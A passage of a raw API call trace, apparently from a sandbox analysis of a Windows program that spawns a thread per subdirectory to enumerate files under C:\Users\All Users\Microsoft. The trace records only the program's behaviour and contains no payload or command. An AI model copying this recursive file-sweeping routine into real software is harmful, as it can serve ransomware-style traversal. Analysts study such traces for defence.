_Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0129.911] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0129.911] wcscat (in: _Dest=0x1b7c1c60, _Source="Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0129.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0129.912] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0129.912] FindClose (in: hFindFile=0x1b859090 | out: hFindFile=0x1b859090) returned 1 [0129.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60f50) returned 1 [0129.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858490) returned 1 [0129.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a30) returned 1 Thread: id = 972 os_tid = 0x15d8 [0101.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b8590f0 [0101.345] wcscpy (in: _Dest=0x1b8590f0, _Source="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0101.345] wcscat (in: _Dest=0x1b8590f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\" [0101.345] wcscat (in: _Dest=0x1b8590f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" [0101.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60ce0 [0101.345] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858bb0 [0101.346] wcscmp (_String1=".", _String2=".") returned 0 [0101.346] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.346] wcscmp (_String1="..", _String2=".") returned 1 [0101.346] wcscmp (_String1="..", _String2="..") returned 0 [0101.346] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.346] FindClose (in: hFindFile=0x1b858bb0 | out: hFindFile=0x1b858bb0) returned 1 [0101.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60ce0) returned 1 [0101.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8590f0) returned 1 [0101.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8589d0) returned 1 Thread: id = 973 os_tid = 0x15dc [0101.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82be00 [0101.349] wcscpy (in: _Dest=0x1b82be00, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0101.349] wcscat (in: _Dest=0x1b82be00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0101.350] wcscat (in: _Dest=0x1b82be00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\*" [0101.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60ce0 [0101.350] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8589d0 [0101.350] wcscmp (_String1=".", _String2=".") returned 0 [0101.350] FindNextFileW (in: hFindFile=0x1b8589d0, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.350] wcscmp (_String1="..", _String2=".") returned 1 [0101.350] wcscmp (_String1="..", _String2="..") returned 0 [0101.350] FindNextFileW (in: hFindFile=0x1b8589d0, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0101.350] wcscmp (_String1="Server", _String2=".") returned 1 [0101.350] wcscmp (_String1="Server", _String2="..") returned 1 [0101.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8590f0 [0101.350] wcscpy (in: _Dest=0x1b8590f0, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0101.351] wcscat (in: _Dest=0x1b8590f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0101.351] wcscat (in: _Dest=0x1b8590f0, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0152.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8590f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8 [0152.353] FindNextFileW (in: hFindFile=0x1b8589d0, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0152.353] FindClose (in: hFindFile=0x1b8589d0 | out: hFindFile=0x1b8589d0) returned 1 [0152.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60ce0) returned 1 [0152.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0152.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 Thread: id = 974 os_tid = 0x15e0 [0101.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858bb0 [0101.362] wcscpy (in: _Dest=0x1b858bb0, _Source="C:\\Users\\All Users\\Microsoft\\eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0101.362] wcscat (in: _Dest=0x1b858bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\") returned="C:\\Users\\All Users\\Microsoft\\eHome\\" [0101.363] wcscat (in: _Dest=0x1b858bb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\*") returned="C:\\Users\\All Users\\Microsoft\\eHome\\*" [0101.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60800 [0101.363] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a30 [0101.363] wcscmp (_String1=".", _String2=".") returned 0 [0101.363] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.364] wcscmp (_String1="..", _String2=".") returned 1 [0101.364] wcscmp (_String1="..", _String2="..") returned 0 [0101.364] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0101.364] wcscmp (_String1="logs", _String2=".") returned 1 [0101.364] wcscmp (_String1="logs", _String2="..") returned 1 [0101.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd86bb0 [0101.364] wcscpy (in: _Dest=0x1cd86bb0, _Source="C:\\Users\\All Users\\Microsoft\\eHome" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0101.364] wcscat (in: _Dest=0x1cd86bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\") returned="C:\\Users\\All Users\\Microsoft\\eHome\\" [0101.364] wcscat (in: _Dest=0x1cd86bb0, _Source="logs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs" [0127.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac [0127.068] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0127.068] FindClose (in: hFindFile=0x1cd86a30 | out: hFindFile=0x1cd86a30) returned 1 [0127.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60800) returned 1 [0127.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 [0127.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 Thread: id = 975 os_tid = 0x15e4 [0101.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86850 [0101.371] wcscpy (in: _Dest=0x1cd86850, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0101.371] wcscat (in: _Dest=0x1cd86850, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0101.371] wcscat (in: _Dest=0x1cd86850, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*" [0101.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60590 [0101.371] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd869d0 [0101.371] wcscmp (_String1=".", _String2=".") returned 0 [0101.371] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.371] wcscmp (_String1="..", _String2=".") returned 1 [0101.371] wcscmp (_String1="..", _String2="..") returned 0 [0101.371] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0101.371] wcscmp (_String1="Views", _String2=".") returned 1 [0101.371] wcscmp (_String1="Views", _String2="..") returned 1 [0101.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863a40 [0101.372] wcscpy (in: _Dest=0x1b863a40, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0101.372] wcscat (in: _Dest=0x1b863a40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0101.372] wcscat (in: _Dest=0x1b863a40, _Source="Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0127.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b863a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0127.070] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd60590 | out: lpFindFileData=0x1cd60590*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0127.070] FindClose (in: hFindFile=0x1cd869d0 | out: hFindFile=0x1cd869d0) returned 1 [0127.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60590) returned 1 [0127.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0127.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8585b0) returned 1 Thread: id = 976 os_tid = 0x15e8 [0101.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86b50 [0101.380] wcscpy (in: _Dest=0x1cd86b50, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0101.381] wcscat (in: _Dest=0x1cd86b50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0101.381] wcscat (in: _Dest=0x1cd86b50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" [0101.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60320 [0101.381] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86eb0 [0101.381] wcscmp (_String1=".", _String2=".") returned 0 [0101.381] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.381] wcscmp (_String1="..", _String2=".") returned 1 [0101.381] wcscmp (_String1="..", _String2="..") returned 0 [0101.381] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0101.381] wcscmp (_String1="ppcrlconfig.dll", _String2=".") returned 1 [0101.381] wcscmp (_String1="ppcrlconfig.dll", _String2="..") returned 1 [0101.382] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0101.382] wcscmp (_String1="ppcrlui.dll", _String2=".") returned 1 [0101.382] wcscmp (_String1="ppcrlui.dll", _String2="..") returned 1 [0101.382] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0101.382] FindClose (in: hFindFile=0x1cd86eb0 | out: hFindFile=0x1cd86eb0) returned 1 [0101.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60320) returned 1 [0101.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86b50) returned 1 [0101.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 Thread: id = 977 os_tid = 0x15ec [0101.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c850 [0101.386] wcscpy (in: _Dest=0x1b82c850, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0101.386] wcscat (in: _Dest=0x1b82c850, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0101.386] wcscat (in: _Dest=0x1b82c850, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\*") returned="C:\\Users\\All Users\\Microsoft\\MF\\*" [0101.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60320 [0101.387] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858fd0 [0101.387] wcscmp (_String1=".", _String2=".") returned 0 [0101.387] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.387] wcscmp (_String1="..", _String2=".") returned 1 [0101.387] wcscmp (_String1="..", _String2="..") returned 0 [0101.387] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0101.387] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0101.387] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0101.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86b50 [0101.388] wcscpy (in: _Dest=0x1cd86b50, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0101.388] wcscat (in: _Dest=0x1cd86b50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0101.388] wcscat (in: _Dest=0x1cd86b50, _Source="Active.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") 